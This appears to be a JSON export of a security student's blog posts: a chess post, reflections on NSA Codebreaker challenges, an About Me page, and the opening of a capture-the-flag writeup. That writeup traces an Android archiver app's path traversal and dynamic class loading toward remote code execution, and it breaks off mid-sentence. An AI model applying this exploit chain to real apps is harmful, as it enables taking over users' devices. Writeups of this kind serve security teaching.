[{"content":"\u003cp\u003eMost of this site is about cybersecurity. This post is about chess instead, which is where a lot of my spare time goes.\u003c/p\u003e\n\u003ch3 id=\"correspondence-chess\"\u003eCorrespondence chess\u003c/h3\u003e\n\u003cp\u003eI\u0026rsquo;m most invested in correspondence chess: the long-form version where a single game can run for weeks and you\u0026rsquo;re free to analyse a position as deeply as you like. That depth is exactly what I love about it. Instead of guessing under a clock, you can actually get to the bottom of a position.\u003c/p\u003e\n\u003ca class=\"role-card\" href=\"https://www.iccf.com/player?id=900253\" target=\"_blank\" rel=\"noopener noreferrer\"\u003e\n  \u003cspan class=\"role-card-logo\" style=\"border-right-color: var(--reading-line);\"\u003e\n    \u003csvg viewBox=\"0 0 96 96\" width=\"96\" height=\"96\" role=\"img\" aria-label=\"Chess knight\"\u003e\n      \u003cdefs\u003e\n        \u003clinearGradient id=\"knight-grad\" x1=\"0\" y1=\"0\" x2=\"1\" y2=\"1\"\u003e\n          \u003cstop offset=\"0\" stop-color=\"#0be052\"/\u003e\n          \u003cstop offset=\"0.5\" stop-color=\"#00e5ff\"/\u003e\n          \u003cstop offset=\"1\" stop-color=\"#ff35ff\"/\u003e\n        \u003c/linearGradient\u003e\n        \u003cclipPath id=\"knight-round\"\u003e\u003crect x=\"0\" y=\"0\" width=\"96\" height=\"96\" rx=\"18\"/\u003e\u003c/clipPath\u003e\n      \u003c/defs\u003e\n      \u003cg clip-path=\"url(#knight-round)\"\u003e\n        \u003crect width=\"96\" height=\"96\" fill=\"rgba(128,160,140,.08)\"/\u003e\n        \u003cpath d=\"M0 0 L96 0 L0 96 Z\" fill=\"rgba(11,224,82,.14)\"/\u003e\n        \u003cpath d=\"M96 96 L96 0 L0 96 Z\" fill=\"rgba(255,53,255,.14)\"/\u003e\n      \u003c/g\u003e\n      \u003crect x=\"1.5\" y=\"1.5\" width=\"93\" height=\"93\" rx=\"16.5\" fill=\"none\" stroke=\"url(#knight-grad)\" stroke-width=\"2.5\" opacity=\".75\"/\u003e\n      \u003ctext x=\"48\" y=\"70\" font-size=\"60\" text-anchor=\"middle\" fill=\"url(#knight-grad)\"\u003e♞\u003c/text\u003e\n    \u003c/svg\u003e\n  \u003c/span\u003e\n  \u003cspan class=\"role-card-text\"\u003e\n    \u003cspan class=\"role-card-title\"\u003eCorrespondence chess · ICCF\u003c/span\u003e\n    \u003cspan class=\"role-card-meta\"\u003e2403 rated · around 1010th in the world\u003c/span\u003e\n  \u003c/span\u003e\n\u003c/a\u003e\n\u003cp\u003eI\u0026rsquo;m currently rated 2403 on ICCF, which puts me around 1010th in the world for correspondence chess.\u003c/p\u003e\n\u003cp\u003eWhat I enjoy most is the chance to further chess theory: analysing complex positions in real depth, testing ideas in openings and endgames, and adding a little to the shared understanding of them. The correspondence chess community is full of people who enjoy exploring the game in as much depth and detail as possible.\u003c/p\u003e\n\u003ch3 id=\"faster-games\"\u003eFaster games\u003c/h3\u003e\n\u003cp\u003eWhen I want something quicker I also play bullet and blitz, where I\u0026rsquo;ve reached 2800 bullet on Chess.com and 2500+ blitz on Lichess.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/posts/aboutme/\"\u003e← Back to About Me\u003c/a\u003e\u003c/p\u003e\n","date":"2026-10-02","dateFormatted":"October 2, 2026","excerpt":"Most of this site is about cybersecurity. This post is about chess instead, which is where a lot of my spare time goes. Correspondence chess I\u0026amp;rsquo;m most invested in correspondence chess: the …","featured":false,"mood":null,"permalink":"/posts/chess/","readingTime":1,"slug":"chess","subtitle":"Correspondence chess, deep analysis, and the community","summary":"\u003cp\u003eMost of this site is about cybersecurity. This post is about chess instead, which is where a lot of my spare time goes.\u003c/p\u003e\n\u003ch3 id=\"correspondence-chess\"\u003eCorrespondence chess\u003c/h3\u003e\n\u003cp\u003eI\u0026rsquo;m most invested in correspondence chess: the long-form version where a single game can run for weeks and you\u0026rsquo;re free to analyse a position as deeply as you like. That depth is exactly what I love about it. Instead of guessing under a clock, you can actually get to the bottom of a position.\u003c/p\u003e","tags":["chess"],"title":"Off the Clock: Chess","url":"/posts/chess/","wordCount":193},{"content":"\u003cp\u003eThe 2026 NSA Codebreaker Challenge was my second Codebreaker, and I completed all eight tasks as the 12th student to finish the full challenge. It gave me another opportunity to work across several areas of cybersecurity while building on what I learned from completing the 2025 challenge.\u003c/p\u003e\n\u003cp\u003eThis year\u0026rsquo;s challenge is still active, so I am not publishing prompts, artifacts, findings, solutions, commands, screenshots, or writeups. Until the challenge ends and publication is permitted, this page contains only a high-level reflection alongside the official task titles and categories.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve created a deliberately limited \u003ca href=\"https://github.com/XSS3cut10n3r/My-NSA-Codebreaker-2026\"\u003eCodebreaker repository\u003c/a\u003e with the same restriction. This page serves as the starting point for the 2026 challenge, and the repository will remain free of challenge content while the competition is active.\u003c/p\u003e\n\u003ch3 id=\"read-the-series\"\u003eRead the series\u003c/h3\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003eChallenge\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eFocus\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"https://github.com/XSS3cut10n3r/My-NSA-Codebreaker-2026/blob/main/task1.md\"\u003e1: Welcome to the Team\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eForensics\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"https://github.com/XSS3cut10n3r/My-NSA-Codebreaker-2026/blob/main/task2.md\"\u003e2: Something\u0026rsquo;s Not Right\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eForensics\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"https://github.com/XSS3cut10n3r/My-NSA-Codebreaker-2026/blob/main/task3.md\"\u003e3: Follow the Trail\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eReverse Engineering\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"https://github.com/XSS3cut10n3r/My-NSA-Codebreaker-2026/blob/main/task4.md\"\u003e4: Knock Knock\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNetwork Analysis\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"https://github.com/XSS3cut10n3r/My-NSA-Codebreaker-2026/blob/main/task5.md\"\u003e5: Who\u0026rsquo;s There?\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eReverse Engineering\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"https://github.com/XSS3cut10n3r/My-NSA-Codebreaker-2026/blob/main/task6.md\"\u003e6: Borrowed Tools\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eVulnerability Research, Exploitation\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"https://github.com/XSS3cut10n3r/My-NSA-Codebreaker-2026/blob/main/task7.md\"\u003e7: Cracking the Countdown\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eCryptanalysis\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"https://github.com/XSS3cut10n3r/My-NSA-Codebreaker-2026/blob/main/task8.md\"\u003e8: Operation Scissors Snip\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eVulnerability Research, Exploitation\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"the-moment-that-stood-out\"\u003eThe moment that stood out\u003c/h3\u003e\n\u003cp\u003eTask 4 was the highlight again. It really forced me to be creative, question my assumptions, and think outside the box. I cannot discuss what the task involved while the challenge is active, but working through it was the most memorable part of this year\u0026rsquo;s competition.\u003c/p\u003e\n\u003cp\u003eFinishing the complete eight-task sequence was another major highlight. Becoming the 12th student to complete the challenge made the result especially meaningful and showed me how much I had developed since my first Codebreaker.\u003c/p\u003e\n\u003ch3 id=\"what-i-would-do-differently\"\u003eWhat I would do differently\u003c/h3\u003e\n\u003cp\u003eThe main lesson I carried forward from 2025 was to document my thinking as I worked. Keeping clearer notes helped me track what I had established, recognize when an approach had stalled, and return to earlier assumptions without repeating the same work.\u003c/p\u003e\n\u003cp\u003eI also became more comfortable stepping away from a problem briefly instead of forcing an unproductive line of thought. That habit made it easier to return with a clearer view and try a more creative direction.\u003c/p\u003e\n\u003ch3 id=\"from-the-challenge-to-my-current-work\"\u003eFrom the challenge to my current work\u003c/h3\u003e\n\u003cp\u003eCompleting another Codebreaker reinforced how much I enjoy difficult security problems that require patience, adaptability, and careful reasoning across different technical areas.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m currently an Associate Security Consultant (Intern) at LRQA, contributing to mobile, web application, API, and infrastructure penetration tests while helping the team introduce AI into its workflows. The discipline of documenting evidence and testing assumptions continues to carry directly into that work.\u003c/p\u003e\n\u003cp\u003eThe task pages linked above contain only their official titles and categories. Additional material will remain private until the challenge has ended and publication is allowed.\u003c/p\u003e\n","date":"2026-09-27","dateFormatted":"September 27, 2026","excerpt":"The 2026 NSA Codebreaker Challenge was my second Codebreaker, and I completed all eight tasks as the 12th student to finish the full challenge. It gave me another opportunity to work across several …","featured":true,"mood":null,"permalink":"/posts/nsa-codebreaker-2026/","readingTime":3,"slug":"nsa-codebreaker-2026","subtitle":"Eight tasks and another full NSA Codebreaker Challenge completed","summary":"\u003cp\u003eThe 2026 NSA Codebreaker Challenge was my second Codebreaker, and I completed all eight tasks as the 12th student to finish the full challenge. It gave me another opportunity to work across several areas of cybersecurity while building on what I learned from completing the 2025 challenge.\u003c/p\u003e\n\u003cp\u003eThis year\u0026rsquo;s challenge is still active, so I am not publishing prompts, artifacts, findings, solutions, commands, screenshots, or writeups. Until the challenge ends and publication is permitted, this page contains only a high-level reflection alongside the official task titles and categories.\u003c/p\u003e","tags":["NSA Codebreaker 2026","ctf","reflection"],"title":"NSA Codebreaker 2026: Another One Bites The Dust","url":"/posts/nsa-codebreaker-2026/","wordCount":440},{"content":"\u003cp\u003eThe 2025 NSA Codebreaker Challenge was my first Codebreaker, and I completed all seven tasks, becoming one of 82 students to finish the full challenge. It was a chance to connect skills that I had often practiced separately: filesystem forensics, packet analysis, memory analysis, reverse engineering, cryptography, and application security.\u003c/p\u003e\n\u003cp\u003eThe challenge used a fictional investigation into suspicious activity on a military development network. Each task carried the investigation forward, so an answer was more than a flag - it supplied context for the next question.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve turned my \u003ca href=\"https://github.com/XSS3cut10n3r/My-NSA-Codebreaker-2025\"\u003eCodebreaker repository\u003c/a\u003e into this series so that each task has its own post, with this page as the starting point.\u003c/p\u003e\n\u003ch3 id=\"read-the-series\"\u003eRead the series\u003c/h3\u003e\n\u003ctable\u003e\n\t\u003cthead\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003cth\u003eChallenge\u003c/th\u003e\n\t\t\t\t\t\u003cth\u003eFocus\u003c/th\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/thead\u003e\n\t\u003ctbody\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-1/\"\u003e1: Getting Started\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eForensics\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-2/\"\u003e2: The Hunt Continues\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eNetwork Forensics\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-3/\"\u003e3: Digging Deeper\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eReverse Engineering\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-4/\"\u003e4: Unpacking Insight\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eMalware Analysis\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-5/\"\u003e5: Putting It All Together\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eCryptanalysis\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-6/\"\u003e6: Crossing the Channel\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eVulnerability Research\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\t\t\u003ctr\u003e\n\t\t\t\t\t\u003ctd\u003e\u003ca href=\"/posts/nsa-codebreaker-2025-task-7/\"\u003e7: Finale\u003c/a\u003e\u003c/td\u003e\n\t\t\t\t\t\u003ctd\u003eAndroid Security\u003c/td\u003e\n\t\t\t\u003c/tr\u003e\n\t\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"the-moments-that-stood-out\"\u003eThe moments that stood out\u003c/h3\u003e\n\u003cp\u003eTask 4 was my favorite. The obfuscated Linux sample pushed me into malware analysis techniques I had not used before. Understanding the layers around the payload, observing its memory-backed behavior, and recognizing how an encrypted path was represented made the problem feel like a puzzle coming together.\u003c/p\u003e\n\u003cp\u003eTask 6 changed the kind of reasoning I needed. Instead of finding hidden code, I had to notice that an application integration was checking one permission boundary while acting on another. It showed how a subtle authorization mistake can matter more than complicated implementation.\u003c/p\u003e\n\u003cp\u003eTask 7 brought the pieces together. Reverse engineering the Android application meant following data from an input file through extraction and into the parts of the app that consumed it. The relationship between writable data and dynamically loaded code was the key security lesson.\u003c/p\u003e\n\u003ch3 id=\"what-i-would-do-differently\"\u003eWhat I would do differently\u003c/h3\u003e\n\u003cp\u003eI spent too much time early on trying possibilities before stepping back to understand the mechanism. In Task 2, systematic filtering would have exposed the conflicting DNS responses sooner than manually inspecting traffic.\u003c/p\u003e\n\u003cp\u003eI also learned to keep better notes. Some of my repository writeups are much more complete than others: Task 3 records only the initial setup and completion, and Task 5\u0026rsquo;s solution is unfinished. Their posts make those limits explicit rather than filling in details from guesswork.\u003c/p\u003e\n\u003cp\u003eThe habit I want to carry forward is simple: record the evidence, explain what it supports, and keep the next investigative question clear.\u003c/p\u003e\n\u003ch3 id=\"from-the-challenge-to-my-current-work\"\u003eFrom the challenge to my current work\u003c/h3\u003e\n\u003cp\u003eCompleting all seven tasks earned me a $4,500 SANS Institute scholarship in October 2025. The challenge also gave me practice connecting evidence across different technical domains.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m now an Associate Security Consultant (Intern) at LRQA, helping the Penetration Testing team implement AI into its workflows while contributing to mobile, web application, API, and infrastructure tests. Codebreaker\u0026rsquo;s lessons about methodical analysis and documentation remain relevant to that work.\u003c/p\u003e\n\u003cp\u003eStart with \u003ca href=\"/posts/nsa-codebreaker-2025-task-1/\"\u003eTask 1: Getting Started\u003c/a\u003e or choose a topic from the table above.\u003c/p\u003e\n","date":"2025-10-29","dateFormatted":"October 29, 2025","excerpt":"The 2025 NSA Codebreaker Challenge was my first Codebreaker, and I completed all seven tasks, becoming one of 82 students to finish the full challenge. It was a chance to connect skills that I had …","featured":true,"mood":null,"permalink":"/posts/nsa-codebreaker-2025/","readingTime":3,"slug":"nsa-codebreaker-2025","subtitle":"Seven tasks spanning forensics, reverse engineering, cryptanalysis, and application security","summary":"\u003cp\u003eThe 2025 NSA Codebreaker Challenge was my first Codebreaker, and I completed all seven tasks, becoming one of 82 students to finish the full challenge. It was a chance to connect skills that I had often practiced separately: filesystem forensics, packet analysis, memory analysis, reverse engineering, cryptography, and application security.\u003c/p\u003e\n\u003cp\u003eThe challenge used a fictional investigation into suspicious activity on a military development network. Each task carried the investigation forward, so an answer was more than a flag - it supplied context for the next question.\u003c/p\u003e","tags":["NSA Codebreaker 2025","ctf","reflection"],"title":"NSA Codebreaker 2025: My First Full Challenge","url":"/posts/nsa-codebreaker-2025/","wordCount":485},{"content":"\u003cdiv style=\"display: flex; flex-wrap: wrap; align-items: center; gap: 2rem; margin-bottom: 2rem;\"\u003e\n  \u003cimg src=\"/images/tomi.jpg\" alt=\"Tomi Bodwell Mamic\" style=\"border-radius: 15px; width: 250px; max-width: 100%; height: 250px; object-fit: cover; flex-shrink: 0;\"\u003e\n  \u003ch1 style=\"margin: 0; font-size: 2.5rem; flex: 1 1 250px;\"\u003eHi, I'm Tomi, a penetration testing intern at LRQA and an Applied Cybersecurity student.\u003c/h1\u003e\n\u003c/div\u003e\n\u003cp\u003eI work in offensive security, with a particular interest in penetration testing, cryptography, and forensics. This site is where I document projects, challenges, and anything else I find worth writing about.\u003c/p\u003e\n\u003ch3 id=\"what-im-working-on-at-lrqa\"\u003eWhat I\u0026rsquo;m Working On at LRQA\u003c/h3\u003e\n\u003ca class=\"role-card\" href=\"https://www.lrqa.com/\" target=\"_blank\" rel=\"noopener noreferrer\"\u003e\n  \u003cspan class=\"role-card-logo\"\u003e\n    \u003cimg class=\"logo-on-light\" src=\"/images/lrqa-logo.png\" alt=\"LRQA\" width=\"473\" height=\"163\"\u003e\n    \u003cimg class=\"logo-on-dark\" src=\"/images/lrqa-logo-light.png\" alt=\"LRQA\" width=\"473\" height=\"163\"\u003e\n  \u003c/span\u003e\n  \u003cspan class=\"role-card-text\"\u003e\n    \u003cspan class=\"role-card-title\"\u003eAssociate Security Consultant (Intern)\u003c/span\u003e\n    \u003cspan class=\"role-card-meta\"\u003ePenetration Testing team · Birmingham, UK\u003c/span\u003e\n  \u003c/span\u003e\n\u003c/a\u003e\n\u003cp\u003eI\u0026rsquo;m an intern on the Penetration Testing team at LRQA in Birmingham, UK, where I\u0026rsquo;m helping the team bring AI into its workflows. My main project is building vulnerability knowledge bases (VKBs) for the team\u0026rsquo;s local AI tooling, to make testing automation more reliable and less repetitive.\u003c/p\u003e\n\u003cp\u003eI also take part in mobile, web application, API, and infrastructure penetration tests, from the kick-off call through to delivery. I\u0026rsquo;m especially interested in where AI can genuinely assist a consultant, and where the technical judgment to assess a finding still has to come from a person.\u003c/p\u003e\n\u003ch3 id=\"education--certifications\"\u003eEducation \u0026amp; Certifications\u003c/h3\u003e\n\u003cp\u003eI\u0026rsquo;m pursuing a BSc in Applied Cybersecurity at the SANS Technology Institute, expected in 2027, after studying at the University of Texas at Austin and Santa Monica College. My GIAC certifications are:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eGFACT\u003c/strong\u003e - Foundational Cybersecurity Technologies\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGSEC\u003c/strong\u003e - Security Essentials\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGCIH\u003c/strong\u003e - Certified Incident Handler\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eGPYC\u003c/strong\u003e - Python Coder\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI\u0026rsquo;m currently working toward GCFA (Certified Forensic Analyst).\u003c/p\u003e\n\u003ch3 id=\"projects--competitions\"\u003eProjects \u0026amp; Competitions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eFireplace\u003c/strong\u003e - an open-source chat app I\u0026rsquo;m building in Flutter, where I\u0026rsquo;m implementing end-to-end encryption.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNSA Codebreaker Challenge 2025\u003c/strong\u003e - completed the full challenge, one of 82 students to finish. Most of the writeups on this site come from it.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNSA Codebreaker Challenge 2026\u003c/strong\u003e - completed the full challenge, the 12th student to finish.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSANS Core NetWars 12 (Amsterdam, 2026)\u003c/strong\u003e - 2nd place, qualifying for the SANS Tournament of Champions in Washington, DC.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNational Cyber League\u003c/strong\u003e - Fall 2025: 2nd of 617 in the experienced individual bracket. Spring 2026: my team placed 1st of 170 in the experienced bracket. I cover the web application exploitation and cryptography categories.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"skills--tooling\"\u003eSkills \u0026amp; Tooling\u003c/h3\u003e\n\u003cp\u003eMy focus areas are penetration testing, cryptography, digital and memory forensics, threat detection, and incident response. Day to day I work with Python, PowerShell, and SQL, and tools including Nmap, Wireshark, Metasploit, Netcat, and SQLmap, across Linux, Windows, Active Directory, containers, virtualization, and cloud environments.\u003c/p\u003e\n\u003ch3 id=\"outside-security\"\u003eOutside Security\u003c/h3\u003e\n\u003cp\u003eA quick side note on the rest of me: I play a serious amount of chess (\u003ca href=\"/posts/chess/\"\u003emore on that here\u003c/a\u003e), have volunteered at a local soup kitchen, and have worked as a lifeguard.\u003c/p\u003e\n\u003ch3 id=\"get-in-touch\"\u003eGet in Touch\u003c/h3\u003e\n\u003cp\u003eI\u0026rsquo;m always glad to talk about AI in penetration testing, security research, and secure application development.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/files/BodwellMamicResume.pdf\"\u003eDownload my resume\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eEmail: \u003ca href=\"mailto:contact@xss3cut10n3r.com\"\u003econtact@xss3cut10n3r.com\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eGitHub: \u003ca href=\"https://github.com/XSS3cut10n3r\"\u003egithub.com/XSS3cut10n3r\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eLinkedIn: \u003ca href=\"https://linkedin.com/in/tomibodwellmamic\"\u003elinkedin.com/in/tomibodwellmamic\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","date":"2025-10-27","dateFormatted":"October 27, 2025","excerpt":" Hi, I\u0026#39;m Tomi, a penetration testing intern at LRQA and an Applied Cybersecurity student. I work in offensive security, with a particular interest in penetration testing, cryptography, and forensics. …","featured":true,"mood":null,"permalink":"/posts/aboutme/","readingTime":3,"slug":"aboutme","subtitle":"About me: offensive security, cryptography, and the work I'm proud of","summary":"\u003cdiv style=\"display: flex; flex-wrap: wrap; align-items: center; gap: 2rem; margin-bottom: 2rem;\"\u003e\n  \u003cimg src=\"/images/tomi.jpg\" alt=\"Tomi Bodwell Mamic\" style=\"border-radius: 15px; width: 250px; max-width: 100%; height: 250px; object-fit: cover; flex-shrink: 0;\"\u003e\n  \u003ch1 style=\"margin: 0; font-size: 2.5rem; flex: 1 1 250px;\"\u003eHi, I'm Tomi, a penetration testing intern at LRQA and an Applied Cybersecurity student.\u003c/h1\u003e\n\u003c/div\u003e\n\u003cp\u003eI work in offensive security, with a particular interest in penetration testing, cryptography, and forensics. This site is where I document projects, challenges, and anything else I find worth writing about.\u003c/p\u003e","tags":["career","about"],"title":"About Me","url":"/posts/aboutme/","wordCount":438},{"content":"\u003cp\u003e\u003ca href=\"/posts/nsa-codebreaker-2025/\"\u003e← Series overview\u003c/a\u003e\u003c/p\u003e\n\u003c!-- Paste your Markdown content below this line. --\u003e\n\u003ch1 id=\"task-7---finale---vulnerability-research-exploitation\"\u003eTask 7 - Finale - (Vulnerability Research, Exploitation)\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eNow that we have access to the hidden channel the adversary is using, our military counterparts want to act quickly to destroy the adversary\u0026rsquo;s capacity to continue with their attack against our military networks.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAnalysts have been quickly scrutinizing the data from the privileged channel. They conclude that the adversary has downloaded a custom app to archive all messages sent in the channel locally to their phone. They have also surmised the adversary is running a recent version of Android on a Google Pixel phone. This is the opportunity we have been waiting for! If we can devise a way to exploit on to the adversary\u0026rsquo;s device we will have the advantage.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003eAnother team has retrieved the custom application APK file for you to analyze.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003chr\u003e\n\u003ch2 id=\"downloads\"\u003eDownloads\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eCustom App:\u003c/strong\u003e \u003ccode\u003emmarchiver.apk\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLicenses:\u003c/strong\u003e \u003ccode\u003elicenses.txt\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"task\"\u003eTask\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSubmit a file to be posted to the Mattermost Channel that will be processed by the app and exploits the device.\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"writeup\"\u003eWriteup\u003c/h2\u003e\n\u003cp\u003eThis task required reverse engineering an Android application to discover vulnerabilities and chain them into a remote code execution exploit.\u003c/p\u003e\n\u003ch3 id=\"initial-analysis\"\u003eInitial Analysis\u003c/h3\u003e\n\u003cp\u003eInitially, I started with scanning licenses.txt to see what exactly we\u0026rsquo;re working with. I also used a python script to scan the licenses for vulnerabilities. \u003ccode\u003eAppache commons io 1.3.2\u003c/code\u003e was the only one which seemed to be far far older than it should\u0026rsquo;ve been, and it had \u003ccode\u003eCVE-2021-29425\u003c/code\u003e a path traversal vulnerability to go with it. I thought this would be the exact vulnerability, but it turned out to just be a lead that pointed me toward looking for path traversal issues.\u003c/p\u003e\n\u003cp\u003eI then began by decompiling the APK using jadx-gui. The application is heavily obfuscated, and really ugly in JADX. Below we see the FileDownloadWorker for the Mattermost message archiver app, which was one of the nicer looking functions. We know from the task description that the app automatically downloads files from channels and \u0026ldquo;archives them\u0026rdquo; - it does \u003cem\u003esomething\u003c/em\u003e with them, that\u0026rsquo;s what we need to exploit.\u003c/p\u003e\n\u003cp align=\"center\"\u003e\n\u003cimg src=\"/images/codebreaker-2025/jadx_overview.png\" alt=\"JADX Overview\"/\u003e\n\u003c/p\u003e\n\u003cp\u003eExamining the source code further revealed a custom archive format system with dynamic class loading for different file types (zip, 7z, tar, etc.). The format handlers are loaded from \u003ccode\u003e/cache/zippier/formats/\u003c/code\u003e and implement the \u003ccode\u003eZipFormat\u003c/code\u003e interface:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003epublic\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003einterface\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eZipFormat\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    String \u003cspan style=\"color:#a6e22e\"\u003egetExtension\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003evoid\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003euncompress\u003c/span\u003e(File file, File file2, ZipFile zipFile);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"vulnerability-discovery\"\u003eVulnerability Discovery\u003c/h3\u003e\n\u003cp\u003eAnalyzing the file extraction code, I identified a critical path traversal vulnerability. When processing zip files, the app creates an extraction directory using the filename:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-java\" data-lang=\"java\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eFile extractDir \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003enew\u003c/span\u003e File(cacheDir, getBasename(zipFile.\u003cspan style=\"color:#a6e22e\"\u003egetName\u003c/span\u003e()));\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFor a file named 